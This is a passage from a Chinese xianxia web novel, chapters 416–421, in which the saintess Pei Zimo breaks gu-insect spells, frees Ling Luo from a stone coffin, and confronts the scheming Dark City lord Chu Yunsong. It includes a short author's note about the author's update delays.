裴子墨没有说话,只是把笛子放到嘴边,轻轻地吹了起来。 笛音不大,却一直在山洞内回响。 最先受到影响的,就是玉殒蛊,它们纷纷从楚星玄等人的身体里爬出来,随后凝聚在一起,重新变成了一只虫子。 虽然没有了玉殒蛊,但是刚才也被咬得够呛,楚星玄他们还是倒在地上,站起来的力气都没有。 随后幻雾蛊的雾气逐渐单薄,最后从山洞里退了出去,又逐渐散开,消失得无影无踪了。 第416章 毁了不是挺好的么? 百炀等人都落入了幻雾蛊之中,并不能看清外面发生了什么,但是他们都听到了笛声。 而且这笛声一出来,雾气就开始淡去,他们自然明白了怎么回事。 他心里也是一抖,他们这段时间,一直都觉得楚星玄在骗他们,即便是拿了笛子,可也不会用,他们甚至觉得那根本不是师祖传给他的,而是他偷的。 但现在听到这笛声,他觉得恐怕是他们想错了。 若是这样可就麻烦了,毕竟他们现在也算是彻底得罪楚星玄了,之后再想和他好好谈,可就没那么容易了。 不过等雾气彻底散去之后,他们才发现吹笛子的人并不是楚星玄,而是裴子墨。 百炀和三个长老互相看了看,谁也弄不清楚到底是什么回事。 裴子墨也放下了笛子,眯眼看着地上的玉殒蛊,伸出手,对着它虚空画了一个圈,玉殒蛊的身上突然冒出一股小小的火苗,随即整个虫子瞬间就被烧成了灰,她也抬眼看向百炀,“用这玉殒蛊的人,大多心思歹毒,下场凄惨,你胆子倒是不小,也不怕反噬。” 百炀本来想说跟她有什么关系,可是眼见着玉殒蛊就这样被裴子墨用奇怪的火焰烧死,她又能控制幻雾蛊,到了嘴边的话也只能生生的咽下去。 “那幻雾蛊是地府的东西,不知道为什么会在这里?”裴子墨往洞外看了看,似乎这问题只是随口一问,并没有想要得到什么答案,随后便转头看向石棺。 看了会,她也眯起眼睛,朝着石棺走过去。 石棺周围的阵法对她像是完全不起作用,一点反应都没有。 楚星玄皱了下眉,往前走了一步,正要说什么,却被鬼卿拉住,他转头看向鬼卿,就只见鬼卿对着他摇了摇头,示意他不要说什么也不要动。 他不太理解,又转头看向寒羽和紫翅天鹏,这一人一鸟恢复了行动之后,就立刻退到了角落里,寒羽蹲在地上,手在地上画着圈圈,仿佛这边发生的一切都跟他没有关系。 紫翅天鹏则是站在一边,低头认真地看着寒羽画圈圈,身上的羽毛都紧紧地贴着,像是生怕被人发现它的存在一样。 虽然不知道发生了什么事,但楚星玄也不是傻子,只能默默地后退了几步,跟他们站在一起,尽量降低自己的存在感。 裴子墨在石棺面前停下脚步,抬起手,按在石棺上。 百炀犹豫了一下,想着关于幻雾蛊的事情,可能还需要裴子墨帮忙,便好心提醒道,“我若是没看错,这石棺需要机关才能打开,贸然打开的话,可能会导致石棺里面的……东西全都毁之一旦。” 裴子墨转头看了百炀一眼,“哦?是么?” 百炀赶紧点点头,“我也是听先辈们说的,至于打开这石棺的方法……” “它敢。”裴子墨收回目光,掌心微微用力,从她的手掌之下,裂纹便开始蔓延,“再说,毁了不是挺好么?” 百炀还想说什么,但见楚星玄等人都退的老远,也就闭上了嘴。 裂纹很快遍布了石棺全身,随即一声轻微的碎裂声响起,整个石棺全都化为碎片,凌珞的身体出现在众人眼前。 没了石棺的支撑,凌珞的身体便要倒下去,却被裴子墨一把捏住脖子,“醒了,就别装睡了。” 她的话音落下,凌珞的眉心轻轻地皱了皱,随即睁开了眼睛。 他本来也没有这么快恢复,但最近白锦夜在修习的术法刚好淬炼魂魄,他也因此受益,断魂箭的影响越来越小,魂魄也就回到了自己的身体里。 不过刚醒来的时候,还很虚弱,他虽然不知道这是什么地方,可是感觉这里还挺安全,于是也就没急着出去,打算恢复一段时间再说。 裴子墨他们到的时候,他就已经感受到了,只是这石棺没办法从里面打开,他就想着等一等,等外面的事情解决了,再让裴子墨他们来帮忙打开石棺也不急。 可等着等着,裴子墨的气息就变了。 “我当年没有杀了你,没想到你竟然有这样的机缘。”裴子墨眯眼看着凌珞,“不过……不该活着的人,就是不应该活着,不该存在的东西,早晚得消失。” “你不能杀他。”鬼卿拧着眉,还是开了口。 “我的事,轮得到你插嘴?”裴子墨看也没有看他一眼,只是手指微微动了动,鬼卿就倒飞出去,撞到了崖壁上。 百炀和长老们犹豫了下,不用明说,便一起悄悄的迈步往外面走。 见裴子墨没有阻止他们离开,阎公望也立刻带人退出了山洞。 裴子墨掐着凌珞的喉咙,把他按压在崖壁上,“本来这是你的造化,我也不该再插手,但是……你知道的太多了。” “可我也没有告诉任何人。”凌珞皱起眉头,他不可能是眼前这个“裴子墨”的对手,甚至连反抗的能力都没有,顿了顿,只好补充,“而且后面你也需要我帮你。” “是么?那就看看,没有你,会是什么样的结局。”裴子墨说着手指逐渐用力。 但片刻后,她的手突然一松,人也闭上眼睛直接晕了过去。 凌珞抬手扶住差点倒在地上的裴子墨,让她靠着墙坐下,大概检查了下她的身体,见没什么异状才转头看向鬼卿,“你们为什么不阻止她?这样太危险了,肯定会被……那些人发现的。” “我们根本不知道她要干什么啊。”楚星玄摊了摊手,有些无语。 凌珞拧起眉,没有理会楚星玄,只是又责备地看了鬼卿一眼,才收回目光。 楚星玄不知道,但是鬼卿明白,裴子墨是强行唤醒了某一段记忆,或者说是她前世的魂魄碎片。 那些碎片没有她现在的记忆,所以不认识楚星玄。 “这样对她现在的身体伤害很大。”凌珞说着也在裴子墨的身边坐下来,脸色微微有些发白,他也一样,只不过他伤的是魂魄,还要休养多久,就不得而知了。 “到底怎么回事啊?”楚星玄转头低声问寒羽。 寒羽是修罗,对气息很敏感,隔了会,他才低声对楚星玄道,“刚才……裴子墨好像用什么办法,召唤了一个非常强大的魂魄附体在自己的身上,那个魂魄怨气很重,还好存在的时间不长,不然恐怕咱们一个都跑不掉。” 第417章 你还是快死那会看着顺眼点 遁世岛上,岛主正和几位长老聊着事情,但是说着话,却停了下来,几人不约而同的朝北方看了过去。 过了好半响,大长老才开口,“是她吧。” 虽然没有说出名字,但是众人也都知道他说的是谁,而且他这话也不是什么问句,显然也根本不需要任何人回答。 “老三,老六,你们上次去,确实完全没有找到任何关于她的线索么?”隔了会,大长老开口问道,“有没有可能,有什么事你们错过了?” “线索是很多。”三长老开口道,“换句话说,全是线索,真真假假,谁知道哪条是真的?一共就去了五个人,我们还要分心给别人收拾烂摊子,哪能全都分辨出来?”他说着瞥了一眼岛主,冷哼了一声。 岛主轻咳了下,“子轩自从回来之后,就一直被我关着禁闭,以后肯定会注意的。” “以后?”三长老冷笑一声,“以后他的烂摊子谁爱收拾谁收拾,我可不收拾了。” “老六,你呢?”大长老从三长老身上收回目光,看向凌霄,“老六!” 凌霄似乎这会才回过神来,有些茫然地看了看其他人,好半天才道,“你们放心,我一定亲手把这个逆子抓回来!” 大长老拧起眉头,有些无奈地摇了摇头,“老六,事情过去那么久了,你也看开些,过段时间,老二带着老九再去看看。这些年,她压着自己的气息,咱们发现不了,现在可能是出了什么事,压不住了,你们趁着这个机会,能解决就解决了。” 凌霄轻轻皱了下眉头,按理说,裴子墨应该不会有气息暴露出来,难道是发生什么事了么?他的手轻轻握了一下拳头,才道,“大哥,让我也去吧,因为她,我已经家破人亡了,如果我不能做点什么,我有什么脸面……” 大长老看着凌啸叹了口气,当年便是因为这件事里牵扯到了凌家人,所以当时也是凌家出力最多,谁能想到裴子墨下手那么狠,让凌家折了三个孩子在里面,如今凌啸身边就剩下一个儿子,确实是凄惨。 拒绝的话已经到了嘴边,但思索了半响,才点点头,又看向坐在他身边的人,“老二,你看着点老六,别太冲动。” 见大长老没拒绝,凌霄才微微松了口气。 * 山洞里,几人等着裴子墨醒过来。 鬼卿打量了凌珞一圈才问,“你怎么样?” 凌珞摇了摇头,没说话。 鬼卿也就把最近发生的事情都跟凌珞说了一遍。 凌珞坐在地上,抬眼看着山洞外面,“那刚才她唤醒灵魂碎片的事情,估计遁世岛那边也感觉到了,他们……大概很快就会再派人过来了。” “他们能找上她?”鬼卿拧起眉头。 “他们能找到这里。”凌珞抬手点了点地面,“到时候……”他眯眼看着站在山洞外面不远处的百炀等人,“到时候只要再问一问,就能问到……他多的身上。”他转头看了楚星玄一眼。 从裴子墨带着他进了血域之后的事情,鬼卿刚刚都讲过了,那也就是说,这些血域的人和阎公望是知道楚星玄的,顺藤摸瓜,早晚能找到裴子墨的身上。 凌珞微微眯了眯眼,“杀了他……要么,就让外面的这些人闭嘴。” 鬼卿皱起眉,“子墨不会让你杀了他,更不会……让你杀了外面这么多人。” 凌珞从地上捡起几个石子,在手里把玩着,“我也没说要征求她的意见,她现在昏迷着什么都不知道。”他说着抬眼看向鬼卿,“在我眼里,没什么比她的安全更重要。” 鬼卿跟他对视了半响,才道,“你别指望我在这件事上帮你。” 凌珞轻笑了一声,“你帮我做的事还少么?” “那是以前。”鬼卿往旁边退了一步,跟凌珞拉开了一些距离。 “行吧。”凌珞把石子扔在地上,站起来,“我现在身体虚弱,外面的人太多,只解决楚星玄一个人,要省力不少。” “你别乱来。”鬼卿挡在凌珞的面前,“她既然敢在这个时候唤醒魂魄碎片,她自己不知道会被遁世岛发现么?她肯定会有办法应对。” 凌珞隔着鬼卿看向楚星玄,轻轻眯了眯眼。 楚星玄也感觉到有一丝不太对劲,他抿了抿唇往寒羽的身后躲了躲。 “你拦不住我。”凌珞看了鬼卿一眼,不用再说什么,鬼卿的身体就被他控制着退到旁边,让开了路。 “他拦不住你,那我呢?” 凌珞刚往前走了两步,身后就传来裴子墨的声音。 他的脚步也只好停下来,看向裴子墨,“早不醒,晚不醒,偏偏这个时候醒?” 裴子墨抬手揉了揉眉心,“这件事你不用管,遁世岛的人暂时都找不到我,放心吧。” “算我多管闲事。”凌珞往后退了几步,靠在洞壁上,没再说话。 顿了顿,裴子墨又道,“还有,你以后不要控制鬼卿。” 凌珞转头看向远处,没有说话。 裴子墨拧起眉,隔了会才道,“你还是快死了那会让人看着顺眼点。” “那是,我本来就该死。”凌珞不冷不热地回了一句。 裴子墨懒得理他,抬眼扫了洞外一眼,百炀那些人还没走,估摸着是刚才见她退了幻雾蛊,是希望她能帮忙,她只好把楚星玄叫过来,让他先想办法把他们打发走。 楚星玄出去了大概一炷香的时间,不知道跟百炀他们说了什么,百炀他们对着楚星玄举了个躬,一副讨好的模样,最后又给了他一个小瓶子,随即血域的人便都下山了。 楚星玄看向阎公望,脸上笑得开心,“我说阎叔,你还没感觉到自己中蛊了么?你离开暗城多年,连养蛊之术都退步了?” 阎公望起初还以为是楚星玄在诳他,但无意间却见到一个下属的脖子上有一条红线,他怔了一下,把那个下属拽过来,仔细地看了一番,才惊道,“血线虫!是血线虫!楚星玄,你是什么时候给我们下的蛊?不,不对,暗城没有这种蛊,是刚才血域的那些人是不是?” 楚星玄笑了笑,没有回答他的话,转身进了山洞。 阎公望也不敢停,带着人迅速朝百炀等人追了过去。 * emmmmm 我最近确实是沉迷狂飙无法自拔哈哈哈 所以其实更新时间没有变 我只是……在看狂飙,看完狂飙就去微博和知乎上看各种讨论 时间不知不觉就过去了 我明天开始就努力码字,把之前欠的都补回来~ 第418章 你对我的行踪也是了如指掌呢 回到山洞里,楚星玄看着阎公望的背影,眯了眯眼,“真想趁这个时候解决了阎家。” 裴子墨看向他,“你应该能忽悠着血域的人帮你解决掉他。” 楚星玄摇了摇头,“暗城除了我爹,就是我那文二叔,之后是阎公望,这三个人里面,只有阎公望是把软骨头,以后要是想知道更多暗城的事,恐怕还得靠他。” “呵。”裴子墨轻笑了一声,“你就不怕血域的人一会就杀了他?” “那就是命了。”楚星玄摊了摊手,“不过……”他又摸了摸下巴,“当初我爹让他离开暗城出去办事,就是说阎公望运气不错,总能逢凶化吉,看着也是个长命的,应该不会这么早死的。” 裴子墨站起来,沉默了会,道,“我们也该启程了。” “去哪?”楚星玄顺嘴问道。 “去暗城。”裴子墨看了他一眼。 “当我没问。”楚星玄往后退了几步。 裴子墨转头看向楚星玄,“我记得你当时跟我说,我让你找的人找到了,现在在暗城,之前一直没顾上,现在正好去看看。”顿了顿,她又问,“那人长得眼熟么?” 一开始她没想过那可能是锦成,但是后来去复州才知道锦成跑了,所以楚星玄找到的人,八成就是锦成了。 楚星玄饶有趣味地看着裴子墨,“眼熟得不得了。” “那就好。”裴子墨点点头,“你们回圣殿等我们,我和凌珞去暗城。” “他?这一副快要死了的样子。”楚星玄转头看着脸色苍白的凌珞。 就连鬼卿也担忧地看过来。 裴子墨也看向凌珞。 凌珞微微皱了下眉,最后点点头,“我没事。” 裴子墨自然知道他没事,只要能醒过来,对凌珞来说,不过就是时间的问题。 紫翅天鹏带着几人回了圣殿,裴子墨便和凌珞慢悠悠地往暗城走。 走了一段,凌珞轻咳了一声,开口道,“你要去暗城,还有别的事吧?” 裴子墨点点头,“遁世岛还有任务在外面,他们有理由出来,只要去了血域,就能顺藤摸瓜找到暗城,所以咱们得提前来一趟。他们就算一时半会找不到我,但是也能给我添堵。” “这段时间,记忆又恢复了不少吧?”凌珞又问。 裴子墨眯眼看着前面,“你关心这个做什么?” “怕你记忆恢复得太快,忘记了这一世的事,哪天再对我动手。”凌珞说着摸了摸自己的脖子,显然还记着之前在山洞里的事情。 “那也是迫不得已。”裴子墨顿了顿,才问,“你回来之前,白锦夜怎么样?” “这么关心自己去看看不就好了?”凌珞看着她。 裴子墨看了他一眼,没有说话。 “很好。”凌珞收回目光看着前面,“好得不能再好了,他若是不好,我也不会这么快回来不是么?” “你从他身上离开的时候……他没有感觉到么?”裴子墨又问。 凌珞沉默了好半天,最后才道,“不确定。” “那看样子,确实挺好。”裴子墨开口道,“不然,你应该跟我说,他没感觉到。” 凌珞轻笑了一声,“很快,你就不需要我了。” “我这么像卸磨杀驴的人?”裴子墨笑着问道。 “你不像,但我有自知之明。”凌珞嘴角的笑容慢慢淡去。 裴子墨停下脚步,转身看着他,“凌珞,你怎么了?你醒来之后,怎么……有点怪怪的?” “可能是心理上有了落差吧。”凌珞慢慢的往前走,“以前在你身边,我是术法最高的那个,也是最了解你的那个。但是……以后,术法比我高的,大有人在,比我更了解你的,也一样有其他人。” “你想的太多了。”裴子墨皱着眉头看着他。 凌珞又走了几步,才停了下来,背对着裴子墨站了好一会,才转过身,“其实执念也好,怨气也好,都是一个人的一部分,有了这些,人才完整。你把我从他的身上分离出来,开始看起来没什么问题,但他始终就不完整了。如果,我是说如果,哪一天我出了什么事,若是魂魄不散,你可以把我化回执念,放回他的身体里。” “一个人有执念,但若是执念得以实现,这执念自然就不再是执念了。” “凌珞,你已经是完整的你自己……” 裴子墨的话还没有说完,就被凌珞抬手打断,“我是说如果,也不一定会变成真的,不是么?” 他说完转身继续往前走,这一次换了话题,“楚云颂的事情我跟你说过,这一次去暗城,要多小心。” 裴子墨见他换了话题,就知道他是不打算再说,她轻轻皱了下眉头,重新跟了上去。 两个人到了暗城门口的时候,就见文之松已经站在门口了,显然是在等他们,他的目光先是在凌珞的身上转了一圈,才落在裴子墨的身上,“圣女,别来无恙。” “你们城主在么?”裴子墨不愿意跟他东拉西扯,就直接问道。 “城主已经等你很久了。”文之松说完,抬手做了一个“请”的动作。 这是裴子墨第二次来暗城,暗城和圣殿一直没什么来往,她上一次来还是她师父失踪那会,她以为和暗城有关系,于是来暗城质问。 她转头看了凌珞一眼,便跟着文之松往安城里面走。 路上文之松只是问了句裴子墨最近有没有见过楚星玄,裴子墨说了没有之后,他也就没有再说什么。 楚云颂已经等在书房,似乎早就料到裴子墨会来。 文之松关上书房的门,也没有离开的打算。 楚云颂看着裴子墨和凌珞入座,也问了跟文之松同样的问题,问她最近有没有见过楚星玄。 裴子墨看了眼文之松,又看向楚云颂,“怎么二位都问我这个问题?” “我也不跟你绕弯子。”楚云颂回答道,“之前我那儿子闹脾气,离家出走,听追他的人说,他上了圣殿。” “哦?”裴子墨挑了下眉,“有多久了?这大半年我都在圣殿,没见过楚星玄啊。” 楚云颂笑了笑,“大概就在你回圣殿之前吧。” “这么说,楚星玄去圣殿的时候,我并不在圣殿。”裴子墨抬手敲了敲桌面,“城主对我的行踪,倒是也了如指掌呢。” 第419章 被身边最信任的人咬一口 楚云颂轻笑了一声,“最近国君也不知道去哪了,这北冥国啊……国将不国了。我本来是想找圣女聊一聊这些事,可是之前你一直不在,也没找到合适的机会。” “我记得你之前不是说,北冥国本来就不该存在么?这样不是挺好的么?”裴子墨笑了笑,她之前大半年都在圣殿,楚云颂若真是想找她聊,随时都能去圣殿找她。 显然他不过就是在关注她的行踪而已。 楚云颂低头喝了一口茶,才道,“但是按理说,圣女不在圣殿,圣殿应该是有阵法护卫自己的,就连肉尸应该也会攻击陌生人,不知道星玄是怎么能上去呢?” “可能是因为之前他在圣殿藏书阁看书,所以肉尸和阵法没有攻击他吧。”裴子墨随口回了一句,“不过既然是闹脾气,那早晚会回来,城主也不必太担心。” “怎么能不担心?”楚云颂叹了口气,“这段时间,你频繁的往外跑,应该也听说了遁世岛任务的事情吧?” 裴子墨点点头,“但是这与我们何干?” “可据我所知,在这北冥国,便有一位年纪在千岁以上的人。”楚云颂说着笑了一声,“我也是听国君提起的,说北冥国内,还有一位少祀官,这少祀官千年来都没有换过人。” “哦。”裴子墨应了声,“怎么,城主对遁世岛任务有兴趣?可我听说,那也要杀了三个活了千年以上的人,就算北冥国有一个,那另外两个呢?再说,这少祀官活了这么多年,城主有信心赢过他?” “呵呵。”楚云颂笑了两声,“只是随口一说,我也好奇,为什么这少祀官很少出现,如今国君都失踪了,他也不出来。就好像……这北冥国的事情,跟他完全没关系一样。” 裴子墨拿起茶杯,在手里转了转,没有喝茶,又重新放了下来,顿了顿,没有接这个话题,只是道,“前段时间,我不在圣殿,是去了一趟血域。” “血域?”楚云颂脸上的笑容顿时就僵了,转头看了文之松一眼,才开口问,“你去了血域?你可见到血域的人?” “血域好像是出了什么事,没什么人烟,他们见到外人也很警惕。不过,我还见到了另外一个人,叫阎……什么……阎公望,好像是这个名字,他好像对遁世岛的任务也很感兴趣,说是到血域那边去找人。”裴子墨说着这句话,才重新端起茶杯,喝了一口。 楚云颂微微眯起眼,没有说话。 “哦,对了。”裴子墨像是又想起什么,“我离开的时候,阎公望和他的人中了一种叫……血线虫的蛊,然后跟着血域的人一起离开了。” 楚云颂捏着椅子扶手,半响之后,脸色逐渐严肃,他看向裴子墨,显然已经不想再打哑谜了,“圣女,有话便直说吧,我儿子的碧血虫在你身体里,我能感觉得到,他离家出走之前,那碧血虫还在他身上,这段时间,你一定见过他。” “你想知道楚星玄的下落,也不是不可以。”裴子墨开口道,“他跟我说,他之前带回到暗城一个人,我想见见这个人,见完了,我就告诉你他在哪。” 楚云颂站起身,走到窗边,思索了半响,才摆了摆手,文之松会意,立刻下去,片刻后就带着锦成来了书房。 锦成根本没想到裴子墨会在,他一怔,往后退了几步,下意识地想跑,但又生生地忍住了,挠了挠头,也没有说话。 裴子墨站起身,看向楚云颂,“城主,我有些话想私下问他。” 楚云颂点点头。 裴子墨就带着锦成走到了院子中间。 看着他们在院子里小声说话,楚云颂收回目光看向凌珞,打量了好一会,才道,“这位公子看着眼熟,我们应该见过。” 凌珞用扇骨轻轻敲着手心,看着楚云颂轻笑,“是见过,很早以前了,让我想想,那会你还不是这副样子……那时候你好像还留着长胡子。” “瞎说什么胡话?”文之松看着凌珞,“城主什么时候留过长胡子?” 凌珞扫了他一眼,“看样子,这位也不清楚什么。我要是没记错,那时候距离现在,也该有至少九百多年了。这活得太久了,也不是什么好事,我甚至都不记得,之后的这九百多年里,咱们还见过面么?” 文之松看着凌珞一怔,当即明白了什么。 楚云颂笑了笑,“少祀官贵人多忘事,咱们当然还见过。” “哦。”凌珞点点头,“还是城主高明,隔一段时间,就换一张脸,这样别人就很难知道你真正的年龄,不像我这样,说不定什么时候就被人盯上了。” 文之松闻言有些诧异地看向楚云颂,但是见他的脸色没什么变化,便知道凌珞说的是真的,他往后退了一步,没再说话。 “我这不是有不得已的原因么?”楚云颂说着叹了口气,“我若是能像少祀官一样青春永驻,不会变老,说不定我也不愿意换来换去,多麻烦啊。” “倒也是。”凌珞赞同道,“可惜了,这是我的秘密,真的没办法分享给你了。” “没关系,这样也挺好。”楚云颂笑着笑着又收起了笑容,眯眼看着凌珞,“起码我不会被遁世岛盯上。” 听到他这句话,凌珞倒是笑得眼泪都快出来了,“你活了这么多年,还不知道遁世岛是什么样的存在么?你这点小把戏连我都骗不过,还想骗过他们?你那好兄弟阎公望都开始谋划这件事,你说他要是知道你也是活了千年的人,他会不会把你列为目标?” “有时候啊,有敌人并不可怕,可怕的就是你身边最信任的人,咬你一口。” “我暗城的事,就不劳少祀官费心了。”楚云颂说着顿了顿,“少祀官今日来暗城,不会就是来跟我说这点事的吧?” “闲聊,闲聊。”凌珞摆了摆手,“你若是不跟我说话,我也是不打算开口的。”他说着往院子里看了眼,“我只是陪她来而已。” 楚云颂看着凌珞,像是突然想明白了什么,他捋了捋袖口,开口道,“一个人活了千年,确实寂寞,圣殿那历届的圣女也不知道都去哪了,不过……看样子应该跟少祀官都关系匪浅吧?” 第420章 地府也有遁世岛的人? 凌珞轻轻摩挲着手里的扇子,轻声笑道,“城主就不必关心圣女的事了,顾好你们暗城,别给北冥国惹麻烦就足够了。” 他这话音落下,裴子墨也和锦成走了回来,她站在门口也没往里面走,只是看向凌珞,“走吧。” 凌珞点点头,站起身。 “圣女。”楚云颂也站起来,“我儿子呢?” “差点忘了。”裴子墨看向他,“楚星玄也在血域,不过我看血域的人对他挺恭敬的,你应该不用太担心他。”说完便转身往外走。 凌珞跟着她出了门,看了锦成一眼,轻轻皱了下眉头,没有说话。 * 等他们两个都走了,锦成才进了门,大大咧咧地坐下来,自顾自地倒了一杯茶,“城主,我是相信你,才留在这里,结果你倒好,也不提前知会一声,还好我机灵。” 楚云颂看了看锦成,没说话,转头看向文之松,“你还记得去血域的路吧?” 文之松点点头。 “你带上几个人,去那边看看,这个阎公望,这么多年在外面,是把他的胆子养肥了啊。”楚云颂眯了眯眼,“两个人,能带回来就带回来,带不回来就……” 剩下的话他没说出来,但是眼神已经表现得很明显了。 文之松先是皱了下眉,随即应了下来,迈步离开了书房。 书房只剩下楚云颂和锦成两个人之后,他才开了口,“我总要看看,你说的是真的还是假的。” “当然是真的,我还能骗你么?”锦成一边喝着茶一边开口道,“我跟你说了我们家有亲戚在遁世岛,我就那一个条件,只要你答应,我随时能让你去遁世岛。” 楚云颂向书房外面看你,“哼,这少祀官把圣女看得这么紧,你连少祀官一根手指头都不如,能有什么机会?” “少祀官?”锦成皱了下眉,“那又怎么样?在遁世岛,十个他都不够看的。要不是我现在的能力被封印,做这些事需要你来帮忙?”他说着压低了声音,“只要我得到裴子墨,我就能冲开封印。” 楚云颂盯着锦成看了一会,收回目光,低头喝了一口茶,“刚才圣女跟你说什么了?” “问了些无关痛痒的,我为什么要逃走,又怎么会在这里,还有你对我怎么样,你放心吧,她没有怀疑我什么。”锦成摆了摆手。 “她如果没有怀疑你什么,今天就不会来这一趟了。”楚云颂冷笑了一声,“你以为圣女有那么好骗?” 锦成皱了下眉头,“可她什么也没说啊。” 楚云颂放下茶杯,“再说,以你跟白锦夜的关系,她不会把你留在我这里,无论如何都会带走你的,怎么可能没怀疑你?” 锦成想了一会,没有说话。 “行了,这件事我会想办法去办的,你就在这好好呆着吧。”楚云颂站起来,“等事情办成了,你记得你答应我的事情就行了。” “你放心,我这个人向来说话算数。”锦成无所谓地道。 楚云颂看了他一眼,没再说话,只是摆了摆手,示意锦成可以回去了。 锦成慢悠悠地把茶杯里的茶喝完,掸了掸袖子上的灰,站起来离开了书房。 * 从暗城出来,凌珞才开口问,“怎么,白锦夜还有个替身?” 裴子墨轻笑了一声,“什么替身?我一开始还以为是个巧合,现在看起来,也是有人有意安排。” 凌珞轻轻皱起眉头,“也是,你全都安排好了,怎么可能搞出来一个跟白锦夜一模一样的人?将来说不定要出什么乱子。” “提防着点吧。”裴子墨转头看了一眼,“我刚才试探了一下,问他要留在这,还是跟我走,他不想走,恐怕……楚云颂答应了他什么。你呢?该说的话,跟楚云颂说了吧?” “我不说,他也会主动问的。”凌珞打开扇子,“这老家伙,野心大着呢。” “他想去遁世岛。”裴子墨停下脚步,下了个结论,“锦成……那时候,是白锦夜的亲大哥,那一世死在我手上,心里不知道怎么恨我呢,这魂魄到了地府,怎么就跟着白锦夜一起转世了?” 凌珞也跟着停下了脚步,转头看着裴子墨,“你是说……地府也有遁世岛的人?” 裴子墨没说话,只是走过去拍过去凌珞的后背,继续往前走。 凌珞自然明白她的意思,当时他在地府受伤,如今看起来也没那么简单。 回了圣殿,裴子墨就开始收拾东西。 “这是要去哪?”寒羽看着她,“你怎么带这么多东西?” 裴子墨又挑了几本书放进箱子里面,“因为以后,这里就不属于我了,下次再回来,就是客人了。” “客人?”寒羽不太明白,转头看了看鬼卿,又看了看坐在角落里的凌珞,挠了挠头,“那以后我们住哪啊?” “不会让你露宿街头饿肚子的。”凌珞瞥了他一眼。 “我要是饿肚子就把你吃了。”寒羽瞪着凌珞。 “拿这么多东西,去哪?方便么?”这次轮到鬼卿来问了。 裴子墨拿了另外一匣子虚空玉出来,“东西不一定带走,一会我用虚空玉装好,把这些都找个地方藏起来。”她说着轻笑了一声,“有些东西,对我来说不一定有用,但是对别人来说,可能就是好东西了。” “那不如一把火烧了。”凌珞开口道。 裴子墨抬眼看向他,隔了好一会才说,“一路走过来,能传下来的东西越来越少,有的是那些人藏私,不想让别人知道,不想让别人学会,以为靠着自己能师传徒,父传子,永远不会失传,结果呢?” 她说着轻笑了一声,晃了晃手里的书,“还是得靠这个。” 凌珞有点无奈地摇了摇头,“管太多。” “只是有点心疼。”裴子墨垂下眼,“想想最开始那些年,各地修习术法的人那么多,各种门派,各种尝试创新,多好,如今呢?” 凌珞叹了口气,转头看向外面没有说话。 鬼卿随手拿起一本书,“这些书看样子,不少都是从当时的九域十二颠那边拿过来的。” 裴子墨点点头,“还有从各地搜集来的。” 鬼卿打开一本书,翻开封皮给裴子墨看了一眼,扉页上写着一个名字——裴卿。 第421章 裴姝呢?死了么? 裴子墨看着书上的名字笑了笑,“送你了。” “那我的书送给我,我应该不用说谢谢吧?”鬼卿说着也把书收了起来。 “你去把咱们之前囤积的药材带上一些。”裴子墨开口道,那些药材很多是他们之前在圣殿的时候种的,也有不少奇珍异宝都是这么多年圣殿积攒下来的,甚至有些药材这世上早就绝种了,药材多带一点总归是能用得上的。 “好。”鬼卿点点头,转身出了门。 裴子墨把东西收拾好,又检查了一遍,最后抱着装满虚空玉的匣子出了门,“我出去一趟,你们在这等我,等我回来,咱们就准备出发。” 凌珞看了裴子墨一眼,没说话,也没动。 裴子墨带着木匣进了皇宫,皇宫里也是冷冷清清,除了偶尔有几个肉尸走来走去,完全不见人影。 她找了一处安全的地方放好木匣,用阵法掩藏好,又做了标记,一转身便见袁澈站在不远处。 “又来皇宫里藏东西?”见她看了过来,袁澈才往前走了几步。 裴子墨也就走过去,“是啊,感觉这里比较安全。” 袁澈轻笑一声,没有说话。 裴子墨沉默了一会,才道,“我要出去办点事,短时间内,可能都不会再回来了。” “需要我做什么?”袁澈直接问道。 “要不了多久,遁世岛的人就会来,他们这一次应该能找到这里,大概……会留在圣殿,直到完成他们这一次的目的。”裴子墨低声道。 袁澈皱了下眉头,没有说话。 “我会往西走。”裴子墨又道,“如果……你想立功,想要回遁世岛,你可以告诉他们。” 袁澈转过身,往前走了几步,停在圣湖边,“你认为,我是这样的人?” “没有人知道你帮过我,毕竟……你的家人也都在遁世岛,我答应过你,会让你们一家团聚。”裴子墨看着他的背影道。 袁澈垂下眼,轻笑了一声,“当年,我跟着他们一起出来,遁世岛出动了那么多人,就是为了杀你,为了……让你魂飞魄散,永世不得超生,可还不是失败了?我有时候在想,当年的事,到底是谁对谁错。” “你是个聪明人,心中已经有了结论。”裴子墨道。 “是啊,所以我为什么要回遁世岛呢?想要一家团聚,也未必要在遁世岛啊。”袁澈转头看着裴子墨,“我也想知道,以你在遁世岛的地位,可谓是要风得风,要雨得雨,你为什么要叛出遁世岛,为什么要耗费这么多年跟遁世岛作对。” “我以为你选择帮我,应该多少已经知道了一些。”裴子墨有些无奈地笑了笑。 袁澈摇了摇头,“我只是看到六长老……对你手下留情,他是我师父,他这么做必然有他这样做的原因。那一次,我们这一脉损失惨重,死的人里,大部分都是六长老的人。来之前,六长老可是信誓旦旦地说,要把他儿子带回去,要把你抓到。” 裴子墨沉默了一会,也往前走了几步,停在袁澈的身边,“你知道么?前段时间,我见到楚云颂的时候,他跟我说,他觉得北冥国就不应该存在。他也做了很多事,试图实现这件事,他觉得北冥国的历代国君,总是想要成仙,不少做法伤害了无辜的人,也让不少人因此送命。” 袁澈眯起眼睛,“你是说,遁世岛看起来与世隔绝,实际上做了很多伤天害理的事情?” “但是最近楚云颂知道了遁世岛发布的任务,他又想完成遁世岛的任务,从而能够成仙。有些时候,有的人打着正义的旗号,想要推翻别人的统治,其实不过是觉得在这个统治下,他感受到了不公平,这不公平仅仅是对他而言,只要他能达成自己的目的,说不定……会创造出比之前还不公平的世界。” 裴子墨说着笑了笑,“遁世岛到底是一个怎么样的存在,你在那里生活了很多年,如今你在外面也过了些日子,多少应该会察觉到什么。” “总之,如果你想再得到遁世岛的信任,就告诉他们我的行踪。如果你不想再和遁世岛搅合在一起,就……小心楚云颂。” 袁澈没有再说话。 裴子墨又站了会,见他再没什么问题了,便道,“你自己也多小心,若是遇到什么危险,可以去琼华山,如果六长老没来,他们没人引出黄泉路,就没人能去琼华山,如果六长老来了……他应该也不会对你下杀手。”她说着转过身,正要离开,又想起什么,“你已经不怕离开鬼王沙漠的天谴了,是吧?” 袁澈看了裴子墨一眼,点了点头。 裴子墨也看着他,“裴姝呢?死了么?” “没死。”袁澈轻皱了下眉头道。 “留着吧,等遁世岛的人到了,说不定有用。”说完,裴子墨没有再留,迈步向外面走去。 